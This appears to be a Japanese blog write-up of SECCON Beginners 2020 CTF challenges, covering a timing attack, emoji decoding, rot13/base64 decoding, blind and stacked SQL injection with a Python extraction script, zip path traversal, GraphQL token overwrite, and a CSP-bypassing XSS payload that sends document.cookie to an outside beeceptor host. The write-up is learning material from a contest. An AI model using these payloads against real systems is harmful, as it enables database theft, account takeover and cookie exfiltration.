seccon beginners[2020] writeup &復習
こんにちは!グレープ粗茶です。
今回は、secconbeginners2020に参加してきたので、そのwriteupと復習を行いたいと思います!
Web問題中心にやってきます。
- spy[web]
- emoemoencode[misc]
- R&B[crypto]
- tweetstore[web]
- これ以降は解けなかった問題&見てない問題
- unzip
- profiler[web]
- Somen[web]
- 最後に
spy[web]
この問題では、ページのロードにかかった時間を表示する機能が存在する。 それを利用して、if文に入った場合には時間が掛かるので、それをユーザー名の総当たりで確かめる。 26回確かめるだけでよかったので、競技中は手打ちで頑張った。
emoemoencode[misc]
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
このような絵文字が与えられる。
ぱっと見でctf4b{○▽✖}を何かしらで変換した形であることを想定した。ここでunicodeの表で検索してみることにした。
試しにasciiと比べてみてみると16進数で cが合致していることに気づいた。
正直これに気づけたのは、tweetstore解いた直後に見たからってのがある。。
R&B[crypto]
下の二つが与えられる。 FLAG
BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==
problem.py
from os import getenv FLAG = getenv("FLAG") FORMAT = getenv("FORMAT") def rot13(s): # snipped def base64(s): # snipped for t in FORMAT: if t == "R": FLAG = "R" + rot13(FLAG) if t == "B": FLAG = "B" + base64(FLAG) print(FLAG)
どうやらFORMATというファイルに RかBが記載されており、その形式分だけrot13及びbase64でエンコードしているらしい。 これを先頭の文字と合わせてデコードしてあげれば、FLAGが取得できる。
tweetstore[web]
問題のソースコードの中から確認できることは
- ユーザ名がフラグということ
- LIMIT句からの方がインジェクションし易そうなこと
ためしに LIMIT (select 1) というようにしてみると、要素を一つだけ獲得できる。
package main import ( "context" "fmt" "log" "os" "strings" "time" "database/sql" "html/template" "net/http" "github.com/gorilla/handlers" "github.com/gorilla/mux" _"github.com/lib/pq" ) var tmplPath = "./templates/" var db *sql.DB type Tweets struct { Url string Text string Tweeted_at time.Time } func handler_index(w http.ResponseWriter, r *http.Request) { tmpl, err := template.ParseFiles(tmplPath + "index.html") if err != nil { log.Fatal(err) } var sql = "select url, text, tweeted_at from tweets" search, ok := r.URL.Query()["search"] if ok { sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'" } sql += " order by tweeted_at desc" limit, ok := r.URL.Query()["limit"] if ok && (limit[0] != "") { sql += " limit " + strings.Split(limit[0], ";")[0] } var data []Tweets ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second) defer cancel() rows, err := db.QueryContext(ctx, sql) if err != nil{ http.Error(w, http.StatusText(500), 500) return } for rows.Next() { var text string var url string var tweeted_at time.Time err := rows.Scan(&url, &text, &tweeted_at) if err != nil { http.Error(w, http.StatusText(500), 500) return } data = append(data, Tweets{url, text, tweeted_at}) } tmpl.Execute(w, data) } func initialize() { var err error dbname := "ctf" dbuser := os.Getenv("FLAG") dbpass := "password" connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname) db, err = sql.Open("postgres", connInfo) if err != nil { log.Fatal(err) } } func main() { initialize() r := mux.NewRouter() r.HandleFunc("/", handler_index).Methods("GET") http.Handle("/", r) http.ListenAndServe(":8080", handlers.LoggingHandler(os.Stdout, http.DefaultServeMux)) }
先ほどの
LIMIT (select 1)のようにすれば、一つだけデータベースから値を出力してくる。これと同様に値を取得して、LIMITで出てきたデータの数でフラグの決定を行うことにした。
具体的にはLIMIT ascii(substr((select current_user),1,1))
のように行う。
- current_userの文字列の一番目から一番目までの文字を取得
- asciiに変換
また取得できるツイート数も200コあるので、asciiはカバーできることを再度確認。
他の方のwriteupを見ていると、if文をここに仕込むことでデータ数が少ない状況であっても対応できるような解法を取っていた。
コード作成
まず画面の右側に一覧表示として何個表示できているのかを表示している項目がある
webスクレイピングの要素を探していると微かな優しさを感じるhiddenの設定が発見できた。
めんどくさい文字列操作が要らない\(^_^)/
以下 取得する番目をループで行うコードを示す。
import requests, bs4 url ="https://tweetstore.quals.beginners.seccon.jp/" for i in range(1,33): payload="ascii(substr((select current_user),{},1))".format(i) param={'search':'', 'limit':payload} get_url_info = requests.get(url,params=param) bs4Obj = bs4.BeautifulSoup(get_url_info.text, 'lxml') js = bs4Obj.find('input',id='nTweets') flag_str =js['value'] flag_num= int(flag_str) print(chr(flag_num),end='')
フラグの文字が少しずつ分かるの好きです(笑)
[PostgreSQL] 接続中のユーザを取得する&他 : してログ - LANDHERE
他の方のwriteupをみて
どうやらsearchのクエリ部分からも特殊文字のスラッシュをエスケープすることで、SQL文側に入ってる\に\を指すことによって、'を特殊文字として有効化させることができるらしいですね。
それでインジェクションが刺せるようです。
その時のペイロードは下記となります。めっさ簡単やんけ(゚Д゚;)
\'; select current_user, current_user, now() ; --
実はなんとなく一番最初にこの方法で試そうとしたんですが、うまく行かずに辞めてしまいました。その時に試したのは、下記のようなインジェクションを試すものです。
\' and 1=0; select 1,1,1;--
そして、このやり方でやってしまうとhttpstatusが500として出力されてしまいます。 実はこのエラーは、単なる構文エラーではなくコーデイングにより定められたものとなっています。
この解法を進めるにはソースコードをさらに調べる必要がありました😞
ソースコードに下記のような記述があります。どうやらデータベースから取得する情報の型を指定して、それ以外だとエラーと捉えるもののようです。
for rows.Next() { var text string var url string var tweeted_at time.Time err := rows.Scan(&url, &text, &tweeted_at) if err != nil { http.Error(w, http.StatusText(500), 500) return } data = append(data, Tweets{url, text, tweeted_at}) }
https://golang.shop/post/go-databasesql-04-retrieving-ja/
これに対応させてインジェクションが可能かどうかを確かめるのは、下のようなペイロードが最適かと思われます。ここでは、二つのstring型を出力する際にクオーテーションを利用してしまうと、また問題が起きかねないのでCHR関数を利用しています。
\' and 1=0; select chr(99),chr(99),now();--
今までインジェクションを行う際に気を付けることといえば、列の名前程度と捉えていましたが、型に注視する必要があることに気が付けてよかったと思います。(ソースコードを上から下までちゃんと見ましょう。。)特に日付型は厄介ですね。。
最後に
seccon beginnersでは、最後にdiscordサーバで好評が行われました。この時にtweetstoreの想定解はlimit句からのインジェクションであることが明かされましたが、違う回答をしていた人が多い感じでした。なのでsearchパラメータからのインジェクションが多かったのかと思います。
これ以降は解けなかった問題&見てない問題
unzip
解法として、セッション変数とゲットパラメータ両方からフラグを参照するようなペイロードを割り当てる必要があるということは確認できた。
しかしながら、ファイルの命名方法に躓いてしまった。コマンドプロンプトから/を含むようなファイルを命名できないことを確認したがその方向からやろうとし続けていた。
解法
zip内のファイル名に../../../../flag.txtとつければよいので、zipコマンドを実行するディレクトリから相対パスで該当する場所にflag.txtを置いたうえでzip file ../../../../flag.txt
と入れれば作成できる。
またバイナリエディタを用いてzip内にあるファイル名を書き換えるという方法がある。
profiler[web]
下の記事を参考にして進めていく。
全体としての流れは下のようになる。
1. まず最初に利用できるクエリを知る
2. adminのtokenを取得する
3. (1)で明らかになったクエリを利用して、自分のtokenをadminのものに上書きする
4. GET FLAGボタンを押す!
まず最初に playgoundというソフトを利用して、使用できるクエリを調べる。
取得と上書きでどんな構文?クエリが使えるかどうかはエンドポイントに接続したらすぐわかる仕様になっていた。ナニコレ使いやすそう(笑)
引き続き、playgound行う。 利用できるクエリに倣ってadminのtokenを取得するパラメータを設定する
query { someone(uid:"admin"){ name profile token } }
すると下のように帰ってくる
{ "data": { "someone": { "name": "admin", "profile": "Hello, I'm admin.", "token": "743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b" } } }
これで、adminのtokenを獲得することができた。
次にセッションIDを利用して通信する環境を用意する。
今回はブラウザでできるだけ行いたかったのでプロキシツールを利用する。
- firefox
- burpsuite
そしてapiとの通信をプロキシツールで下記のように書き換える。これは自分のtokenをadminと同値にするというぺいーロードとなる。
updateToken(token:\"743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b\")
これによって自分のIDに対してadminと同じtokenを割り当てることできる。
そしてブラウザにてGETFLAGをクリックすればクリアできる。(tokenを書き換えたアカウントのセッションでgetflagのクエリを送ればよい)
Somen[web]
作問者の講評を基に復習していきます。 この問題は、woker.jsにもあるようにcookieを取得することが目的のXSS問題のようです。
// set cookie await page.setCookie({ name: 'flag', value: process.env.FLAG, domain: process.env.DOMAIN, expires: Date.now() / 1000 + 10, });
また、この問題ではCSPをバイパスすることとが課題の一つとなっています。自分は、このCSPに関する知識が甘かったので一度復習したいと思います。
CSPとは?
XSSなどのインジェクションを防ぐためのブラウザのセキュリティ機構。
未対応のブラウザではCSPは無視され同一オリジンポリシーを適用する。
また開発などで、CSPを有効にしたい場合には、ミドルウェアの設定でcontent-security-policyのHTTPヘッダに記述する。
またメタ要素を用いてCSPを設定することも可能。
ソースの指定
それぞれのタグ等で利用するソース先を制限することができる。 設定していないものについては、default-srcで設定したものが適用される仕様 contents-security-policy/mozilla
設定内容
制限する値は下のようなものとなる。
- self
同一URLスキームおよびポート番号に制限 - unsafe-inline
インラインのスクリプトタグを許可する - strict-dynamic ノンスやハッシュを付与して呼び出されるすべてのスクリプト要素に伝播する。 つまりここから生成されたものは信頼されて実行できる。 https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Content-Security-Policy/default-src
解法
問題の解決課題が二つある
1. 数字と文字以外入力するとエラーを起こさせる/security.jsがある
2. CSPのbypass
1. security.jsの読み込み回避
<>などの特殊文字を入力するためには、このjavascriptファイルの読み込みを回避する必要がある。
このファイルはあくまで絶対パス(http://fdkasldfj/secruity.js)ではなく、相対パスで設定されている。ここで
また、baseタグについては下記参考
2. CSP回避
今回のcspは下記となる
Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='"
default-src 'none'となっているので、他の要素で設定されているもの以外は利用できない。
そしてscript-src では nonce と 'strict-dynamic'が設定されている。
サーバー側で作られたスクリプトタグしか動かないようになっている。しかしながら、'strict-dynamic'設定により、ここから生成されたスクリプトタグは信頼されたものと判定され動作する。
またユーザからの入力タグはサニタイズされることなく、タイトルに埋め込まれる。
これらのことから、タイトル部分に</title>
を含ませてタイトルタグ終了させつつ、script#messageを注入することによって、innnerHTMLで入れる攻撃文の入力先をpタグからscriptタグに変更することができる。
解
location.href="https://test123.free.beeceptor.com?"+document.cookie;//</title><script id="message"></script><base href="http://example.com">
usernameという入力の出力先が二つあるため、少し複雑になってますね。。
最後に
CSPに関してはとても勉強になりました。なんだか知らない事が多いので、知識の抜け穴補完のためにmozillaのdocsを全体的に眺めてみたいかと思います! あとブログのさぼり癖強いですねー。。定期的に上げていきたいです👍